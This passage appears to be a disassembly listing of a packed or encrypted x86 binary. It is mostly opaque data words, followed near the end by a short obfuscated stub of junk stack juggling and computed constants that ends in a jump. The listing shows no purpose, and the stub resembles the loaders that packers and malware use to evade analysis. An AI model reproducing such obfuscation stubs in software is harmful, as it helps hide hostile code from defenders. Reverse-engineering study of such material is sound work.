		dd 0EAE52F5Bh, 0DAF430DAh, 9B53B909h, 91FB3F5Ah, 0D6FFF142h
		dd 0A08CEBCEh, 0F22AC373h, 0B26A8333h, 69772E5Ah, 0D69AA668h
		dd 910h, 62A35BB6h, 40813DD2h, 23E21AF0h, 82437B93h, 0E223DB32h
		dd 0C229669Fh, 917BCB0Ah, 0C8249455h, 8C7DCD0Ch, 89D89150h
		dd 0E0C6E63Ah, 800C2BE8h, 75DEEBFh, 54EF9336h, 8AC2F178h
		dd 0F2EF9335h, 791CDD19h, 5504D7BDh, 47CE06E5h,	2F78CF74h
		dd 63B09CE5h, 0F8A8EAC9h, 5D2AC79Ch, 9C0129DDh,	8051D828h
		dd 0E120DC30h, 0D201BD51h, 0C44D8962h, 89A4A06h, 8B400000h
		dd 45F6254Fh, 0E52F2CF0h, 3282517Dh, 6DAF26DEh,	3F4E80D8h
		dd 3A5672F6h, 0E8A85ADEh, 17B4E39h, 5EC20000h, 0CBA7AB2h
		dd 0A0F122DAh, 9335BD13h, 0FC727EFh, 5E7265CFh,	4AA315D7h
		dd 8E45292h, 3CFC38D0h,	2879B896h, 78B87498h, 8813FAD2h
		dd 3537391h, 8256BA8Ah,	5898B66Eh, 964EBF0Fh, 503AFA1Fh
		dd 65892983h, 493F4D1Fh, 114011C0h, 92646EA2h, 169FB3EFh
		dd 9265A725h, 985874EFh, 2C711D3Fh, 67D704C0h, 3F894985h
		dd 71DB1BD3h, 0A515D65Fh, 0F84D8D49h, 0EF926398h, 0C297F3D1h
		dd 64B80B2Eh, 0A9EF9265h, 0AFE55685h, 0FCEF9265h, 5A3FFED0h
		dd 7223F09Ah, 653C9023h, 0AD81EF92h, 65891724h,	3A16EF92h
		dd 851B43E9h, 87260759h, 2B9BCC0Eh, 3BF319C1h, 8D63D515h
		dd 153B9151h, 823AAC9Ch, 69AA0051h, 239C236Fh, 82F72D1Ch
		dd 8B61EF92h, 0BB684453h, 9282D408h, 0BC3519EFh, 0E11DCF7Fh
		dd 0BE769721h, 0D221C76Dh, 0DE518E5Bh, 10329557h, 0FC72174h
		dd 508C7ECEh, 5D37F390h, 386CDF8Eh, 85EF9253h, 42F120A9h
		dd 0E52E62B7h, 0D969A884h, 5437F72Fh, 9E2DFE94h, 0F63E864Eh
		dd 0CC08E757h, 3A2FA60Ch, 5371D616h, 50886237h,	69C303BBh
		dd 0D4368647h, 870256E5h, 634FF63Eh, 0CC349E4Dh, 0EA6F8A37h
		dd 3FCA2B03h, 8E31BECCh, 0C392C507h, 3E751C70h,	69A544F6h
		dd 381403A9h, 0FA9054B1h, 803F9A29h, 0A08CEBDAh, 0FF37D161h
		dd 0AA628E3Eh, 0E925C979h, 0C90A8329h, 0E00FBFC5h, 664EE424h
		dd 3B1B79A1h, 23C64F1Fh, 53728BE7h, 0AD97A04h, 0A944F724h
		dd 0B6E52EEDh, 0BD0D5A9Ah, 0F953934Bh, 73AB4070h, 0A841F1A0h
		dd 3706AC6Ch, 0F63EF9E1h, 488B022Eh, 22488B44h,	35FD57E2h
		dd 0D9FDEF93h, 92A309ADh, 0A65D142Eh, 991D941Dh, 0CDC0BB77h
		dd 44060267h, 2FFCFFFCh, 92A4489Ch, 30B995EFh, 1DBFh, 0B15E3300h
		dd 0CC00B575h, 25EF9335h, 0D9366B07h, 0F96FDC1Dh, 0FFEF9351h
		dd 0FFFFB437h, 0AD5E3DFFh, 0EEBFFF71h, 9336075Dh, 0F17854EFh
		dd 488B3933h, 0A1ADAC22h, 0BB5373E7h, 9577C7BDh, 0BA339959h
		dd 4335h, 488BB900h, 0CBFAC22h,	0EF9335D8h, 0C4204BE1h
		dd 7ADE66B6h, 0C7C61AA9h, 270BEF92h, 1997BBAEh,	0B15EB3BFh
		dd 0FA16A675h, 21A802C2h, 0DE0FBFADh, 9F4CE626h, 9335F82Ch
		dd 0E06945EFh, 36A4373Bh, 0AE000000h, 0AC22488Bh, 35D80CBFh
		dd 8AA4EF93h, 56DDF359h, 3FF1BDDFh, 5D752839h, 62D10860h
		dd 0EF929E2Eh, 0A2715F73h, 929DBB11h, 0A52C00EFh, 5EB3BF29h
		dd 0B5FB75B1h, 74B05EB9h, 768B0DA7h, 2D5984CDh,	924C4A9Eh
		dd 95BB97EFh, 2389DE1Ch, 0AE70D726h, 94A72E77h,	0EF932E40h
		dd 0AAEF9BB9h, 3E78E44h, 7B573BEDh, 64279455h, 90EF923Dh
		dd 0FFF41D58h, 0B15E52FFh, 390CA675h, 0A91BF58h, 0F333EB01h
		dd 3DFE7759h, 25F69C58h, 2E9ADF96h, 13C0ECE5h, 80C9C2B9h
		dd 0FA16004Ah, 86A802C2h, 2078CD0Fh, 0D2F63EA6h, 0FA7E9AF6h
		dd 0EE39EFDBh, 7, 1A462h, 8BAE0000h, 45F6254Fh,	0E52F2A40h
		dd 5A9279C9h, 2AEAC6D3h, 76B76F9Ch, 0B9A98D27h,	0D919D535h
		dd 2F315B73h, 860734BDh, 6EF63F76h, 3B8B4A82h, 9DCC1FD7h
		dd 3706BE2Dh, 0F63F75E1h, 62D1022Eh, 0F63F762Eh, 14D65F73h
		dd 370B9837h, 2EEA065Bh, 0FD2E00BCh, 73272957h,	3B888C69h
		dd 0F64017E5h, 0A128062Ah, 0FD39D262h, 0C3FBECDCh, 7B3ED2E2h
		dd 401794C8h, 0DBF5D9F6h, 833BAD1Bh, 61A15DB1h,	42036F4Fh
		dd 0DB7EEAC6h, 101AFA32h, 3B5363E7h, 11469C1h, 8BE50000h
		dd 42F2214Bh, 75F970ACh, 35D50CBFh, 0A99BEF93h,	0A3A08844h
		dd 392EF586h, 1E4F9CB2h, 926D77ADh, 5DB300EFh, 0A2EF926Dh
		dd 87B5998Eh, 0C76DAD69h, 0B3BFC24Eh, 0BFC01F4Ch, 0E121DD0Fh
		dd 5490794Bh, 3DFCEDDDh, 93355A8Eh, 0A58BA7EFh,	0E824C676h
		dd 0E2518228h, 0EF9335AEh, 0DA56DFF3h, 0EEBFA6ACh, 9336075Dh
		dd 0DEB56BEFh, 73EC6FF7h, 927A4864h, 0B9309A5Ah, 0B8089F5Ch
		dd 73A99854h, 87EF92B7h, 0F0FBF601h, 7B57406Eh,	0A1ADDB55h
		dd 0BB5373E7h, 5599BDh,	0F8480000h, 0B01ADA12h,	488BB539h
		dd 0F749DB24h, 5DF6DE16h, 944769C0h, 5B9375C5h,	0CC00319Bh
		dd 11EF92E5h, 0CD0DC921h, 4CC04967h, 0B05EEEBFh, 9ACEFD74h
		dd 0E7EF9335h, 0A00FD2CDh, 4D63BC53h, 0BFB3BFC3h, 0AF26DE0Fh
		dd 45A6729Fh, 0B529A789h, 22A4B9h, 8BAE0000h, 0BFAC2248h
		dd 9335D80Ch, 48AA4EFh,	0AE5EEEBFh, 951CB676h, 69B15E19h
		dd 2D87477Fh, 0B9B58D03h, 0FFFEE3A4h, 0AD5EAEFFh, 80407C6Dh
		dd 0E222DA36h, 88486648h, 5FECCD3Eh, 0EF933609h, 95547A56h
		dd 5C9874C4h, 5ABF369Ch, 7627F49Eh, 35409427h
		dd 5C8DEF93h, 9335B9EFh, 42A06EFh, 27EBBE8Dh, 1C30E52Fh
		dd 25E265CFh, 54DA42E0h, 1B33ED73h, 0D55CE20Ch,	0C36AA217h
		dd 2C08F63Fh, 8B56FC40h, 8F1A19ADh, 0EA6EE76Eh,	1E39E86Ah
		dd 6Eh,	30CD65CFh, 3C2CACCBh, 0AF3DD914h, 931ADA9Ah, 254F8B1Fh
		dd 6DA946F6h, 5F8E07ADh, 0BD0E5F0Eh, 0EF933567h, 73A998B4h
		dd 9DEF9335h, 0DE74B470h, 5F6CE5C9h, 0E52F3BEEh, 0AE15973h
		dd 344674A7h, 3D8DDA1Ah, 7AD010CCh, 5D88C0F3h, 4E6AF63Fh
		dd 9742C622h, 94639E8h,	97000001h, 6A1F75C6h, 406CF63Fh
		dd 69EC2093h, 1D31F63Fh, 0EEBF1894h, 9336075Dh,	846454EFh
		dd 0C228848h, 0DA1AD23Eh, 20C9F970h, 7B9224E4h,	85D48343h
		dd 9335E236h, 8A032FEFh, 618951BAh, 0E1CF65A5h,	0BE769721h
		dd 3220CC7Fh, 0DF08EF93h, 0B556E627h, 0F01AAA79h, 6C5EF434h
		dd 0BC9407Ch, 30DAAC68h, 0B09E34F4h, 3D79D063h,	0EAC6E52Fh
		dd 0FC8A4E2Bh, 0BA10D00Ch, 84AA6288h, 0E2B7E457h, 0E8C4EBCEh
		dd 32DA6A3Bh, 19903AFAh, 0CB0AC229h, 444A309Ah,	0F26CF40Ch
		dd 426A1756h, 0E8798F3h, 0FF17CF3Eh, 686985DFh,	39793509h
		dd 0E1000002h, 0A717D60Eh, 0E353924Ah, 0A010D10Dh, 0FD4D8C48h
		dd 6A17D60Eh, 0F935D493h, 0A65E8838h, 833BD767h, 0DD19F242h
		dd 0B704551Ch, 0E8E0BF61h, 5E0589AEh, 6B677AFh,	1DD935E5h
		dd 0E3398ADDh, 28EF9335h, 0F3182A04h, 97C6153Bh, 9335F024h
		dd 36EE18EFh, 0F1C20B21h, 63FE2394h, 0B07C44Dh,	2AE20FBFh
		dd 39DD46EAh, 0D9681AFh, 8B4FAA23h, 308132E1h, 0BDE52F15h
		dd 0ACE45191h, 4EF63F19h, 10BAFE6Ah, 64FCD2FAh,	549078CDh
		dd 0FE7AF37Ah, 0AC39EF12h, 939EC906h, 179E7CDEh, 0B998h
		dd 0AD5E1400h, 6D437B6Dh, 38F41BADh, 329F4DF8h,	6089EF93h
		dd 34D565A4h, 9F5B38F8h, 3E8C26F5h, 0C47D080Eh,	269544CDh
		dd 0E52FE5EFh, 92C3103Ch, 3FEDEB21h, 951C30F6h,	81F73356h
		dd 0DA70B06Ch, 7B9727F4h, 0A0298343h, 8EF6C271h, 0B3BEBCFh
		dd 41EB2BE3h, 0DD0CBC6Fh, 1B1E021h, 46EC2CE8h, 0D410FFCFh
		dd 6A06283Ch, 8CC0FC68h, 12Ch, 86477F92h, 0DC1DD936h, 87467E6Ch
		dd 0DE1FD737h, 86477F6Eh, 0A64502FBh, 0ED1FAF6Eh, 0AC40F031h
		dd 0E801B170h, 0F5A4ED2Ch, 0E0BF1246h, 0F4785FE8h, 25E10FBFh
		dd 0B76D9CACh, 148BE7D1h, 0BB7A5490h, 0D836E20Bh, 5876DC1Ch
		dd 0AD5E9599h, 0E607B171h, 0E121DD32h, 0C1A4654Bh, 0CBC6F05h
		dd 7EAF26DEh, 0BA729F2Fh, 0CE2D07Ah, 0AB6A59D0h, 34E52F5Bh
		dd 0B198E39Eh, 0FE773267h, 4514C7EBh, 50D915F5h, 8E4F8760h
		dd 0D111CD3Eh, 0CF1C76B2h, 0CDA5F97Ch, 42AA86EBh, 686D47D8h
		dd 8DE8A498h, 35000000h, 53E322DAh, 77C706BEh, 2C9C5D99h
		dd 71C100BCh, 0DEA3629Ah, 45816827h, 1AD23484h,	4F876BDBh
		dd 11CD3E8Eh, 7BC899D0h, 0E8E0BE25h, 8BC14D6Ah,	45F6254Fh
		dd 0E52169DCh, 1147F4A5h, 5EF64592h, 0C2EEFB72h, 9B53B402h
		dd 0C501EA5Ah, 0CE25205h, 88BA10D0h, 0C06AAA62h, 0C53A7A49h
		dd 0C6E6EA00h, 0DE16F7AAh, 803EAF1Fh, 810CCA4Ah, 2CFFD156h
		dd 3BB26A9Ch, 679F4FF9h, 462200A7h, 3C2FA13h, 62A25AB3h
		dd 32Eh, 72002400h, 0BB7BB35Eh,	0E020DC0Dh, 0C202BA56h
		dd 9A5A9274h, 0C101BD2Ch, 9C5C9877h, 0CA0AC22Ah, 96568E7Ch
		dd 0D313CB20h, 0E08950DDh, 405h, 42D00h, 4870000h, 34895C24h
		dd 0B4B6824h, 14890000h, 0E2895224h, 4C281h, 0EA830000h
		dd 24148704h, 242C895Ch, 5E3CBD55h, 815506B2h, 40DF2434h
		dd 815A6FC0h, 0C040DFF2h, 0EC835D6Fh, 24248904h, 4240483h
		dd 4EC815Dh, 89000000h,	0D6892434h, 5E087589h, 50242C8Bh
		dd 405E089h, 83000000h,	48704C0h, 34FF5C24h, 0C4815A24h
		dd 4, 0FA0483E9h, 2DA7C1FFh, 0C0308C60h, 791DB80Ch, 0C50306B2h
		dd 3985C650h, 4706AC33h, 38172568h, 81B5FFCFh, 8D06AC12h
		dd 0AC3AFF85h, 8BD0FF06h, 79858DD8h, 5006AC2Bh,	10468h
		dd 0C6D3FF00h, 0AC333985h, 0BF685306h, 0FF8307F8h, 0AC1281B5h
		dd 0FF858D06h, 0FF06AC3Ah, 158589D0h, 8306B25Ch, 0AC0539BDh
		dd 840F0006h, 0Bh, 21B19D8Bh, 5E906ACh,	0BB000000h, 0
		dd 10068h, 19B58D00h, 5606B25Ch, 5595FF53h, 8D06AC34h
		dd 0B25C19B5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 6B25C19h,	1595FF50h
		dd 5806B25Ch, 0AB34E0FFh, 3D683F27h, 9FEE20B9h,	0EE87EC8h
		dd 0ED000000h, 397D517Ch, 121E85BBh, 0DC3C7B79h, 91BB664Dh
		dd 870F59BFh, 3, 81F28B66h, 6EEEC1h, 33D38100h,	680FACDBh
		dd 0
		dd 4B8BBB56h, 5A5B4662h, 1810F57h, 0F8000000h, 11048B5Fh
		dd 0F081DE8Bh, 13538406h, 81D98B66h, 2A1299E8h,	0C081F90Eh
		dd 745FF9Bh, 0B8A0Fh, 6E90000h,	3D000000h, 7A67A0h, 48F503Ch
		dd 0CB06011h, 0BD08DA81h, 0B7614172h, 4EA835Fh,	2CECBF66h
		dd 91D8FA81h, 850FFFFFh, 17h, 0E9FBB70Fh, 35h, 0AE5A6998h
		dd 0C773BF51h, 0B0775C70h, 0E9798CB7h, 0Dh, 2D36D024h
		dd 8B1C2C79h, 0D0CB9C6Bh, 0FF83E977h, 0ECA7FFFFh, 0B0D04EE4h
		dd 0EC6B3BF6h, 9FE15668h, 4AE95Eh, 321F0000h, 8C930E3Ch
		dd 0E89DE61Dh, 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h
		dd 0FEB98003h, 0Bh dup(0)
		dd 696E9h, 7D076800h, 8DE906B2h, 68FFFA02h, 6B27DD6h, 0FA0283E9h
		dd 7E9468FFh, 79E906B2h, 68FFFA02h, 6B27F43h, 0FA026FE9h
		dd 7FF268FFh, 65E906B2h, 68FFFA02h, 6B280C5h, 0FA025BE9h
		dd 0BC789BFFh, 0E420CD7Dh, 0BF779525h, 0E61ECE7Eh, 0BC789727h
		dd 0AAF9007Dh, 0FA4A8B43h, 0A515D410h, 0FC4C8D49h, 5B12D30Bh
		dd 0BA63B90Ah, 8FA8E8E0h, 2FA403h, 0BFAE0000h, 0EA2AE20Fh
		dd 10F9C940h, 0E3AD07D4h, 9A81B5BAh, 47C345C7h,	0C225A62h
		dd 18F14785h, 76AE1DDCh, 9EEF9249h, 0D969BA72h,	0BF7CF531h
		dd 234F8BB3h, 99DBEAE1h, 28FBD5DFh, 2ECBE29Bh, 8D3EEFE5h
		dd 0F63ED157h, 0D17DD360h, 0EEC2F63Eh, 28FBD5F9h, 0D196CA79h
		dd 0AC1FF63Eh, 0F63ED178h, 0D2FEE9C5h, 0F42C995Bh, 86F63ED1h
		dd 0AE2AC6A2h, 0A239EF2Bh, 278h, 0F72FC373h, 0B36B8137h
		dd 0CB98149Dh, 0AE1D4C98h, 0EF93357Ah, 8762EBC7h, 0D7942F43h
		dd 0EB4CD722h, 39F935D9h, 0DD6EBD93h, 0E52E653Ch, 9ACD2D01h
		dd 0FFB2B930h, 34BDC9F1h, 4E82BE07h, 5D37F332h,	7F6FDF8Eh
		dd 44FDCE47h, 8DB00988h, 82B076DCh, 7E622A2Ah, 1942194Fh
		dd 624A66C1h, 225539Fh,	0DACF4606h, 915536F6h, 0FCD20AE7h
		dd 62D9C2Fh, 9EB2B6AAh,	40AC1C4Dh, 0CC3D0D84h, 2192C310h
		dd 0C7C908EBh, 56951C30h, 21C905E6h, 33451492h,	66307C40h
		dd 59000004h, 0FBF7EB6h, 5BEB2AE2h, 8B879B5h, 55E524E0h
		dd 0C2BF7EB6h, 417D6C3Bh, 1ED63080h, 4B836FDFh,	15D13A8Ah
		dd 7FCC9DD4h, 0E8E0B929h, 0BFDD5176h, 36075DEEh, 7854EF93h
		dd 0EC28C1F1h, 0E78B4F2Ch, 6F0B0B91h, 0F02B0364h, 375346A3h
		dd 0BBEA3917h, 0E828E40Bh, 6DF8CB42h, 0F2E52E73h, 0EF5C0DDEh
		dd 0F63E75B9h, 3064D706h, 7DF63E76h, 35F67F51h,	83477110h
		dd 8893AE9h, 0D5EBDA83h, 0CFAC19F9h, 0AC84953Fh, 80D10268h
		dd 941DD930h, 24670EA7h, 0FF3F138Bh, 0E132589Ch, 0C4D3E352h
		dd 97446891h, 0F02497C6h, 3DA2E3D5h, 17CF2311h,	873DAE9Eh
		dd 0F1DABC8Ch, 0D3FD06h, 60A05CB0h, 308043CAh, 42F71FD7h
		dd 8C0E5FACh, 397FCB0h,	65880000h, 33D868A9h, 648A3AFBh
		dd 31D969A8h, 658434F5h, 0EC1568A9h, 0B574B05Fh, 0EA2BE305h
		dd 0BF7EB65Ah, 0E726DE0Fh, 184CFFAEh, 65E8E0B9h, 0AD5ECE42h
		dd 16D2B171h, 604E8660h, 557D00B3h, 6E42E52Fh, 0A054FEAFh
		dd 0DF4E66Fh, 7A5466B6h, 0E13E9552h, 23498D68h,	0BDCF43F0h
		dd 0B09CEBD2h, 75983263h, 0B3E873A2h, 0A84171F8h, 0E215BF6Ch
		dd 0B435A0C0h, 1E4F8C05h, 0D60EFF4Fh, 578DBC16h, 0A4FCF1EFh
		dd 0D8310188h, 0DA8BDC1Ch, 0C0407670h, 1B2A11AAh, 0FCF194C5h
		dd 2BCA200Ah, 206450CCh, 0F245260Eh, 1B5F4707h,	0D9B37792h
		dd 3CC4B90Ah, 6549F28Dh, 196D128Dh, 88C4F86Fh, 2D9h, 2EEF27CAh
		dd 74B5719Eh, 2FEE26C4h, 76B76F9Fh, 2EEF27C6h, 6E9DAA53h
		dd 25C777B6h, 749828E9h, 20C979B8h, 3D6C25E4h, 0E0B75A8Eh
		dd 0C80A7E8h, 0B171AD5Eh, 1EEA4CE6h, 0E029D0ECh, 22488C69h
		dd 864F42F1h, 301CE52Eh, 161BBF1h, 5CEC0000h, 71FD74B0h
		dd 0F74793CBh, 0B356DF17h, 7DCE1D77h, 0E52F43DCh, 3A6D8DA1h
		dd 65A5618Ah, 0DB7546CFh, 50DB0843h, 9E2DFE94h,	0E1188013h
		dd 3667B498h, 28824F85h, 39B09CF2h, 305C98FBh, 9B036B35h
		dd 22F1DF1Ah, 0B8F02091h, 5281ADE7h, 0CCD09E2h,	7B934BBCh
		dd 6453FEEAh, 2A440834h, 1D000002h, 4BFB3AF2h, 1FAF6EA6h
		dd 44F435F1h, 19A968A4h, 86FB3AF2h, 1DD9307Fh, 427A6CDCh
		dd 27DF3383h, 79B556E6h, 13A0F1B8h, 0E8E0B6BDh,	0BFA92502h
		dd 4EFC4E15h, 0DA7679Fh, 0CB637B25h, 5D997242h,	967ACA9Dh
		dd 40BC10A3h, 2D01EF92h, 0E069C303h, 78ABC105h,	2E475ECBh
		dd 0ECFE3E5h, 67BD0E5Fh, 0B4F63E49h, 0C9B41198h, 17CF2393h
		dd 0A14F7DD7h, 0CD09EC65h, 46C774A7h, 0BEBDA57h, 4172C727h
		dd 0BE8C4864h, 70C3107Ah, 816884E5h, 0E586466Ah, 2B984B21h
		dd 8808EDDAh, 28984B67h, 76C607BFh, 0AAB15995h,	0E804A3FBh
		dd 17B98D4h, 41AC0000h,	17F44485h, 40AE1EDFh, 15F54584h
		dd 41A818D9h, 0C0394485h, 71B06C83h, 2EEF27C1h,	7BBA729Eh
		dd 2BEA22CBh, 4C803362h, 91E8E0B6h, 15BF3AB6h, 1668901Ah
		dd 581090C6h, 51205566h, 25C6F67Fh, 8E4A29E9h, 18437E4h
		dd 0CEE52EA5h, 8B2F23E2h, 45F6254Fh, 0E5268B9Bh, 0EF5F8CA0h
		dd 0A804C400h, 18184B8Eh, 0CF466849h, 813DAE1Eh, 0D917F040h
		dd 8992C8D8h, 27DF09C3h, 4D634DE7h, 287CCF9Eh, 50F645E3h
		dd 476B7CB8h, 0AB6F0CCEh, 124312C1h, 45E26BA1h,	0B87495F6h
		dd 390A83AFh, 0EBD9389Dh, 0BC5262h, 97446AC0h, 0CF0EC627h
		dd 96568E7Fh, 885B31F5h, 477F69D9h, 5248FDCEh, 2191F294h
		dd 8F9A13CBh, 85664BA3h, 24186F20h, 0A868h, 0BC789B00h
		dd 0E420CD7Dh, 0BF779525h, 0E61ECE7Eh, 0BC789727h, 0AAF9007Dh
		dd 0FA4A8B43h, 0A515D410h, 0FC4C8D49h, 5B12D30Bh, 0B563B90Ah
		dd 8FA8E8E0h, 254F8B03h, 0F717A7F6h, 0D212CA23h, 86645678h
		dd 56F4C74Eh, 1BE5268Bh, 0F616C22Bh, 7A54FE3Eh,	0C9229454h
		dd 0EEC0FC11h, 0B06E9F2Fh, 0DA692EC4h, 0F6457786h, 4ECFE7CBh
		dd 0CA3C0E3Ch, 49FC3C12h, 0EDB4F7F2h, 0CF92FEDEh, 9727E61Eh
		dd 0C87EBE76h, 9224E420h, 0CA7CBC78h, 4C29E925h, 0E0C382EEh
		dd 0A212A6C2h, 0FC56964Eh, 68A44575h, 34F019A9h, 3B8F4h
		dd 0B20000h, 7BB35E72h,	20DC0DBBh, 2BA56E0h, 5A9274C2h
		dd 1BD2C9Ah, 5C9877C1h,	0AC22A9Ch, 568E7CCAh, 13CB2096h
		dd 8950DDD3h, 405E0h, 0BD550000h, 4, 875DE829h,	565C2404h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	8D68241Ch, 89000045h
		dd 0E2BB243Ch, 0C10CE30Fh, 814304EBh, 0BD28E3C3h, 0EB834302h
		dd 27F38101h, 54053922h, 83243C8Bh, 815304C4h, 5EB12434h
		dd 478F2441h, 8BB5308h,	1000000h, 0B13381FBh, 5B24415Eh
		dd 5F2434FFh, 4C481h, 34FF0000h, 0C4835B24h, 0FC0EE904h
		dd 67D9FFF9h, 0A62612ADh, 9C0CB6A0h, 0B875FB9Ah, 6B28192h
		dd 0E0FFC503h, 1B44DDE8h, 10AEB041h, 88277Bh, 74D0EE24h
		dd 29334065h, 6E8h, 23956800h, 51547D3Ah, 38A0Fh, 0B70F0000h
		dd 0E95E59CBh, 0Eh, 0BF414413h,	0A46A3D63h, 5F1C6E5h, 0C681387Bh
		dd 6D2Bh, 2890Fh, 0FB8B0000h, 0F50DB33h, 0FF59CABFh, 0B70F3334h
		dd 12E95AC7h, 0BE000000h, 0D697CEF4h, 9AAE9575h, 0C04D20C5h
		dd 496F0043h, 9F28103h,	6615E4CBh, 0EA81C38Bh, 7F4D72C6h
		dd 0CE9h, 2AF00300h, 19F89DE2h,	0E1A5E99Bh, 2DF2810Ch
		dd 665F0FE6h, 1489C78Bh, 0B0C38A1Eh, 1EB83ACh, 4B4BCC8Ah
		dd 0E881664Bh, 0FB811F63h, 0FFFF9378h, 0FF99850Fh, 0E181FFFFh
		dd 63E96F5Fh, 1BE9h, 1DB43B00h,	3, 5 dup(0)
		dd 498E9h, 840E6800h, 9E906B2h,	68FFF9FBh, 6B2847Bh, 0F9FAFFE9h
		dd 85CB68FFh, 0F5E906B2h, 75FFF9FAh, 13A3629Ah,	0B707C6FEh
		dd 0EC5C9D59h, 0B101C0FCh, 1E63A25Ah, 8541A8E7h, 0DA12F444h
		dd 8F47AB1Bh, 0D10DFE4Eh, 0BB085910h, 0E8E0B265h, 5E018DAAh
		dd 49856BAFh, 56E5B467h, 0EF933602h, 28EA634Fh,	70B16D9Eh
		dd 6EC68B21h, 8F636280h, 9242E83Ch, 371935EFh, 0F59F5BBEh
		dd 62349526h, 5579E52Eh, 61E82095h, 0AE8AF63Eh,	9BA226C2h
		dd 0B7A639EFh, 2A000002h, 0A1659DCBh, 2AAB18CBh, 0F7E52F43h
		dd 0CF8E3BDBh, 0D8F321C2h, 38F37A72h, 586A515Ah, 1BFE77AFh
		dd 0D566B5DFh, 0E94040FCh, 0ED239041h, 17FA5064h, 57FD3DF9h
		dd 82426C40h, 528665D5h, 0A72E00BCh, 3FEC8642h,	0EC79538Ch
		dd 67B498EFh, 3FFE36D7h, 0A6A05E8Fh, 0F164F095h, 0C014A774h
		dd 0D00FCB2h, 0D8E70F21h, 26C78C7h, 2C0723Eh, 0BD500000h
		dd 9B70C001h, 0FC12A263h, 59B101C0h, 0FDEC5C9Dh, 847D00C1h
		dd 2DEC28C7h, 72B36B9Dh, 37F62EC2h, 6FAE6687h, 90C47726h
		dd 0DDE8E0B1h, 4F8B76FAh, 0FC45F625h, 41E526B2h, 45EFBE6Dh
		dd 985EA70Ch, 6D5DD456h, 3787467Eh, 8BDC1CD8h, 1E19D73Bh
		dd 76317454h, 25169FB1h, 0F6462EEAh, 0D53DF912h, 61C243B0h
		dd 535A162Ah, 25000002h, 63D312CAh, 2797568Eh, 7CCC0DC9h
		dd 2191508Ch, 0AED312CAh, 35F11857h, 6AA244F4h,	3FF71BABh
		dd 619D4EFEh, 0BB8E9A0h, 0E8E0B1D5h, 8BB13D1Ah,	46F6254Fh
		dd 619D73A7h, 0E5250BA1h, 0A417C64Fh, 0E526B25Dh, 0F75D8EA2h
		dd 528323B9h, 599B12C8h, 45DDB4ECh, 0F42ADCF6h,	9C8224B4h
		dd 36F6D806h, 6FAF6780h, 0B6EF9B47h, 0B24E3A1Eh, 39F6D336h
		dd 1653Ah, 0AD5EB600h, 0B7E6B171h, 9335D004h, 0B8311DEFh
		dd 54BB5F88h, 0DCF25898h, 0D6BC781Dh, 27E3B605h, 428E52Fh
		dd 541771C4h, 0AD41F63Fh, 0E907B171h, 542D63D0h, 5E72F63Fh
		dd 3517B070h, 94B01859h, 0A9981CF8h, 9FCE39E8h,	3F5BF82Ch
		dd 0E06945F6h, 406Fh, 4F8BE300h, 7CBE2A23h, 1F3131A1h
		dd 790E7FCCh, 0BF93E52Eh, 0F22ADC6Ch, 7D3E9221h, 0AF83F63Eh
		dd 0F751E426h, 61F63E7Dh, 2690508Ch, 0E3CD0DC9h, 46EEA7C3h
		dd 6EEA0662h, 6239EFF7h, 80h, 0E10FBFEEh, 0C64FE525h, 19D915F6h
		dd 448440AFh, 1DDD19F2h, 4B8A42ABh, 9330BEF8h, 0C905E6EFh
		dd 0C5A96D08h, 4C54670Eh, 0B1624C0Ch, 2339DB02h, 1FCCE0E5h
		dd 458440AFh, 36DE16F5h, 61BE4E15h, 38FC3FFh, 95000001h
		dd 3383427Ah, 57E726DEh, 0CBC7DB9h, 51E120DCh, 0BEC302BAh
		dd 25E10847h, 7AB254E4h, 2FE70BBBh, 71AD5EEEh, 1BA8F9B0h
		dd 0E8E0B0C5h, 5EA12D0Ah, 6B677AFh, 0E4E829E5h,	0B171AD5Eh
		dd 0EF2EE607h, 26DE0EBEh, 0EEF4C0Eh, 0F47DBA71h, 6CBFD511h
		dd 2F2E38DFh, 0FA2905E5h, 0AA6BA34Ah, 3F39BF19h, 4C029F6h
		dd 4E8667D7h, 0F516248Eh, 0DA53F939h, 0FF84819h, 4DA117D7h
		dd 636BF91h, 0B8EF2FE7h, 0AE27DF08h, 7964h, 4F8B6E00h
		dd 0F845F625h, 81E526B2h, 0E456D22Bh, 0BC35AC65h, 0BB7399A9h
		dd 3FFFD17Bh, 77A46089h, 3EE927C7h, 0A7A154A2h,	0A50FCFE1h
		dd 0AE5FEF2Ch, 0E03B676h, 72EAD509h, 8A633652h,	0D7318152h
		dd 4775DF1Fh, 19B373ABh, 0AE35390h, 44A412D2h, 0CDEF4888h
		dd 3DAD1DA1h, 0D9EB4181h, 9E34F430h, 0EC62717h,	50349ECFh
		dd 70E716EEh, 0E90232BBh, 3A1ED2Dh, 0AB000000h,	0B35E7200h
		dd 0DC0DBB7Bh, 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h
		dd 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h, 51DDD313h, 0C181E189h
		dd 4, 4BE56h, 0F1290000h, 240C875Eh
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebx, 52CA2F3Bh
		add	ebx, 3C2A32DAh
		add	ebx, 9F9EF449h
		shr	ebx, 4
		inc	ebx
		inc	ebx
		or	ebx, 2F261412h
		or	ebx, 205C5814h
		sub	ebx, 294CFA4Ch
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	6965h
		mov	[esp], ebx
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dd 0C5DAC1A6h, 2858F460h, 5467DABBh, 86F3B803h,	0C50306B2h
		dd 73BDE0FFh, 88D80D94h, 0EB2A7CDAh, 0ED9A0D44h, 0FE392DC9h
		dd 0DE9A1A97h, 31F63152h, 762D17FBh, 993969A1h,	0CF8B5F40h
		dd 0CC367FC0h, 9D86774Eh, 0EFE44D75h, 6D08261Eh, 0CA9B1966h
